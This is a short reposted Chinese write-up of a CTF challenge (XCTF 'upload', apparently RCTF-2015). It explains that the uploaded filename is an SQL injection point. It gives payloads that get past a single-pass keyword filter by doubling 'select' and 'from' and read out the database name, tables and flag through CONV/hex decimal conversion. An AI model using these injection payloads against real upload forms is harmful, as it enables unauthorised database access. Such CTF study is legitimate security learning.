XCTF-upload

转载

weixin_30748995 于 2019-07-10 16:11:00 发布 38 收藏
原文链接：http://www.cnblogs.com/Mikasa-Ackerman/p/11164642.html

这道题的话，看了一下是RCTF-2015的原题。。。。可是这也太难了吧QAQ，文件名作为注入点可也是太秀了，害的我一直以为是文件上传QAQ,并且这道题的坑还不少，就是注入时的输出只能为10进制。。。。。这也就是说还需要你进行一下进制转换。。。

还有这里面将select和from过滤了一次。。。你还需要双写，，，哎。心累

一遍遍的fuzz的话，不知道要弄到什么时候。幸亏我是看着题解做的2333:)

不说了，因为自己啥也不会(看的题解QAQ)，所以直接将payload发一下(其实不难，主要是你能够发现问题)

爆数据库名: `'+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+'.jpg`

将filename里面的内容替换掉，然后发送，刷新一下页面，就会有回显了。

先把10进制变为16进制在转为字符串，还有因为回显位数有限，所以你还需要多切割几次QAQ

爆表名：'+(selselectect CONV(substr(hex(selselectect table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),1,10),16,10))+'.jpg

爆列名：把上面的改一下就行了

爆flag：'+(selselectect+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here)),25,12),16,10))+'.jpg

自己还是太菜了

转载于:https://www.cnblogs.com/Mikasa-Ackerman/p/11164642.html